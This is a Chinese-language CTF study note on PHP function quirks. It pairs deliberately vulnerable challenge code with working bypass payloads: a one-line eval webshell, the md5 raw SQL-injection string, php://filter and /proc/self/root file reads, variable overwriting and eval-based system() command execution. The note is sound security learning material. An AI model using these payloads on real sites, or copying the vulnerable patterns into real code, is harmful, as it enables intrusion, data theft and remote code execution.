函数 Tricks¶
is_numeric¶
这个函数就不必多说了,好吧懂英语你就懂了!!!
来个简单的测试
for ($i=0; $i <128 ; $i++) { $x=chr($i).'1'; if(is_numeric($x)==true){ echo urlencode(chr($i))."\n"; } }
发现下面这些都是测试通过的字符
%09--- 水平定位符号
%0A--- 换行键 %0B--- 垂直定位符号 %0C--- 换页键 %0D--- 归位键 %2B--- 就是加号
%20--- 空格
-
+
.
但是这个不是重点,重点是配合其他函数搞事情,下面这个例子 trim 就是一个很好的例子
trim 与 is_numeric¶
首先搬运工搬运一下官网的介绍
语法 trim(string,charlist) 参数 描述 string 必需。规定要检查的字符串。 charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符: "\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格
并且如果你想知道有哪些也可以运行看看
for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } } 发现除了+-.号以外还有只剩下%0c也就是换页符了
来看一道 ctf 题目
function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
payload:num=%0c36
preg_match¶
数组绕过正则表达式 ¶
if(preg_match("/[0-9]/", $num)){ die("no no no!"); }
官方文档中介绍如下:
preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次
所以如果我们不按规定传一个字符串,而是数组的话,就会返回 false,从而不会进入 if,达到绕过的效果。
payload:num[]=1
正则表达式修饰符 ¶
首先说明下几个常见的模式:
\i 不区分(ignore)大小写 \m 多(more)行匹配 若存在换行\n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配 $str = "abc\nabc"; $preg = "/^abc$/m"; preg_match($preg, $str,$matchs); 这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。 \s 特殊字符圆点 . 中包含换行符 默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符 $str = "abggab\nacbs"; $preg = "/b./s"; preg_match_all($preg, $str,$matchs); 这样匹配到的有三个 bg b\n bs \A 强制从目标字符串开头匹配; \D 如果使用$限制结尾字符,则不允许结尾有换行; \e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 所以可以进行rce
我们来分析下嘛这一道题
$a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } }
payload:cmd=%0aphp
%0aphp 经过第一个匹配时,以换行符为分割也就是 %0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。 经过第二个正则表达式时,因为我们是 %0aphp 不符合正则表达式的以 php 开头以 php 结尾。所以无法通过,最后输出 flag
Int_val¶
官方文档介绍如下:
intval (mixed $var [, int $base = 10] ) : int
Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制 (octal);否则, 将使用 10 进制 (decimal)。
也可以使用科学计数法
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号 intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16 进制 intval('010574')===4476 8 进制 intval('010574')===4476 8 进制 + 空格
下面这道题就可以使用上面的 payload 执行:
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
Hash 比较缺陷 ¶
md5 处理数组 ¶
if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; }
原因:md5() 函数无法处理数组,如果传入的为数组,会返回 NULL,所以两个数组经过加密后得到的都是 NULL, 也就是强相等的。
Sha1 处理数组 ¶
和上面一样的,可以使用数组绕过,这里更多是记录一下弱比较时可用的字符串
aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
md5¶
md5 弱比较 (== 比较漏洞)¶
如果两个字符经 MD5 加密后的值为 0exxxxx 形式,就会被认为是科学计数法,且表示的是 0*10 的 xxxx 次方,还是零,都是相等的。
下列的字符串的 MD5 值都是 0e 开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
这里再分享一篇我以前记录的 WP:记录以后可能用到的 MD5
这里再补充一道题
$a=(string)$a; $b=(string)$b; if( ($a!==$b) && (md5($a)==md5($b)) ){ echo $flag; } md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。 payload: a=QNKCDZO&b=240610708
md5 强碰撞 ¶
$a=(string)$a; $b=(string)$b; if( ($a!==$b) && (md5($a)===md5($b)) ){ echo $flag; } 这时候需要找到两个真正的md5值相同数据 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
国外有个网站也有一些收集的资料:md5 强碰撞收集
md5($str,true) 类型绕过 ¶
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
将密码转换成16进制的hex值以后,再将其转换成字符串后包含’ ‘or ’ 6’ SELECT * FROM admin WHERE pass=’ ‘or ’ 6’ 很明显可以注入了。 难点就在如何寻找这样的字符串,网上有 提供两个字符串: ffifdyop、129581926211651571912466741651878684928 但题目有长度限制,所以输入ffifdyop即可获取flag 再转成字符串:’ ’ ‘or’ 6 解析:存在 or 即代码的两边有一边为真既可以绕过,其实为垃圾代码没有任何用的。 or 后面有6,非零值即为真。既可以成功绕过。
In_array 中的弱类型比较 ¶
ctf-show 中的一道题
$allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
查看这样一个结果:
$allow = array(1,'2','3'); var_dump(in_array('1.php',$allow));//返回true $allow = array('1','2','3'); var_dump(in_array('1.php',$allow));//返回false
in_array 延用了 php 中的 ==,因为新加进去的随机数字每次都包含 1,1 存在的几率是最大的。
payload:n=1.php post:content=<?php eval($_POST[1]);?>
官方文档:PHP 类型比较表
parse_str¶
官方文档的介绍
parse_str — 将字符串解析成多个变量 parse_str ( string $encoded_string [, array &$result ] ) : void 如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
那么有这样一个例子, 简简单单看一看就好了
$a='q=123&p=456'; parse_str($a,$b); echo $b['q']; //输出123 echo $b['p']; //输出456
为了加深影响这里再补充一个简简单单的 web 题目
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } //所以这个题我们传入v1=1 然后v3=flag=c4ca4238a0b923820dcc509a6f75849b 即1的md5值即可
ereg---%00 正则截断 ¶
没啥特别好讲解的,从一道 web 题目当中开启学习吧
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } //补充函数 //strrev() 字符串反转 //intval() 获取变量的整数值 //本题payload:c=a%00778 //备注:首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
is_file¶
php 伪协议绕过 is_file+highlight_file¶
从一道 ctf 题目学习
function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
函数介绍:
is_file — 判断给定文件名是否为一个正常的文件 is_file ( string $filename ) : bool
部分 payload:
可以直接用不带任何过滤器的filter伪协议 payload:file=php://filter/resource=flag.php 也可以用一些没有过滤掉的编码方式和转换方式 payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php file=compress.zlib://flag.php payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
如果还过滤了filter
协议怎么办呢,看下一个
多次重复 / proc/self/root 绕过 is_file¶
function filter($file){ if(preg_match('/\.\.\/|http|filter|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
还有一个野蛮人笔记
php 源码分析 require_once 绕过不能重复包含文件的限制
php 变量名如何非法字符 ¶
我们知道 php 变量命名是不允许使用点号的,但是用了点怎么半呢,看看下面的例子吧
先来看下面的例子
当我们 POSTyyy.yyy=1
的时候被解析为["yyy_yyy"]=> string(1) "1"
无论后面加多少个.yyy
它都会被解析为_
,但是yyy[yyy.yyy=1
被解析为yyy_yyy.yyy
这个yyy[yyy[yyy=1
为yyy_yyy[yyy
具体原理不清楚,没读过 php 源代码
$_SERVER['argv'] 的骚操作 ¶
1、cli 模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web 网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off) 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’] $argv,$argc在web模式下不适用
CLI 模式下直接把 request info ⾥⾯的 argv 值复制到 arr 数组中去 继续判断 query string 是否为空, 如果不为空把通过 + 符号分割的字符串转换成 php 内部的 zend_string, 然后再把这个 zend_string 复制到 arr 数组中去。
因此加号 + 分割 argv 成多个部分
这里做个测试
<?php $a=$_SERVER['argv']; var_dump($a); http://localhost:63342/myphptest/mytest.php?_ijt=kbaatem1e97lqblmkrg3lvk83g&a=1+yyy=3 得到结果 array(2) { [0]=> string(35) "_ijt=kbaatem1e97lqblmkrg3lvk83g&a=1" [1]=> string(5) "yyy=3" }
变量覆盖 ¶
还是从一道题当中讲解, 代码审计,题目一共有三个变量 $error $suces $flag
我们只要令其中任意一个的值为 flag,都是可以通过 die 或者直接 echo 输出的。假设$flag=flag{test123}
$error='error!'; $suces='success!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
一、通过 die($error) 输出
`payload:a=flag post: error=a`
此时$a=flag{test123};$error=flag{test123};
从而输出 error 也就是输出 flag
二、通过 die($suces)
payload:suces=flag&flag=
此时$scues=flag{test123};$_POST['flag']=NULL;$flag=NULL
,满足($_POST['flag']==$flag)
补充一些其他神奇姿势 ¶
路径问题 ¶
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
Payload:
下面方式在 highlight_file 中均等效于 flag.php,也即本题的 payload
/var/www/html/flag.php 绝对路径 ./flag.php 相对路径 php://filter/resource=flag.php php 伪协议
三目运算符与变量覆盖 ¶
首先看看下面这样一个代码:
$_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
根据第一条可知,如果 get 传了一个值,那么就可以用 post 覆盖 get 中的值。
中间两行意义不大。
最后一行是, 如果 get 传了一个HTTP_FLAG=flag
就输出flag
否则显示index.php
源码。
所以我们get
随便传一个,然后post
传HTTP_FLAG=flag
即可
`payload get:1=1 post:HTTP_FLAG=flag`
and 与 && 的区别 + 反射类 ReflectionClass 的使用 ¶
$getflag = new getflag(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('getflag')$v3"); } } }
其实主要还是通过这道题学习了 php 的反射以及 and 的一些小特性
下面首先是讲and与$$
, 所以只需要保证第一个为true
即可
<?php $a=true and false and false; var_dump($a); //返回true $a=true && false && false; var_dump($a); //返回false
下面来简单了解一下反射的相关定义与函数,感觉官方文档很详细, 自己点开学习一下即可
所以得到payload:?v1=1&v2=echo new ReflectionClass&v3=;
其实还有很多种方法,因为过滤比较少,比如v1=1&v2=?><?php echo
ls?>/*&v3=;*/
,或者来个 include 加伪协议绕过也行
and 优先级 ¶
$a = true and false; var_dump(true and false); var_dump($a); 最后输出的结果居然是:!!! bool(false)::相当于是($a = true) and false; bool(true)
附上:运算符优先级
php 异常类 ¶
还是从 ctfshow 当中一道题学习
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } }
先来看下这个正则表达式/[a-zA-Z]+/
匹配至少有一个字母的字符串
所以我们只要让 new 后面有个类不报错以后,就可以随意构造了。我们随便找个 php 中的内置类并且可以直接 echo 输出的就可以了。
举两个例子
Exception ReflectionClass
答案举例
payload: v1=Exception();system('tac f*');//&v2=a v1=ReflectionClass&v2=system('tac f*')
FilesystemIterator 类的使用 ¶
有时候我们就可以利用这个函数遍历当前目录或者看情况其他目录
<?php $a = new FilesystemIterator("../../"); while ($a->valid()){ //判断是否到底 echo $a->getFilename().'\n'; $a->next(); } 配合下面函数 getcwd() getcwd — 取得当前工作目录 getcwd(void):string
DirectoryIterator 类与 glob 协议遍历目录 ¶
通常可以配合 RCE 使用
<?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>
超全局变量 $GLOBALS¶
首先简单介绍一下超全局变量
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
还是从一道网上 ctf 题目进行记录
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctf/', $v1)){ getFlag($v1,$v2); } }
看到一堆过滤的头大,但是看到getFlag
函数当中有两个$$
,所以对于该题,只要把 $GLOBALS 赋值给 v2,然后 v2 再赋值给 v1, 即可将全部变量输出
payload: v1=ctf&v2=GLOBALS
php://filter 的一些常见配合编码 ¶
payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=?
? 这种是将字符两位两位进行交换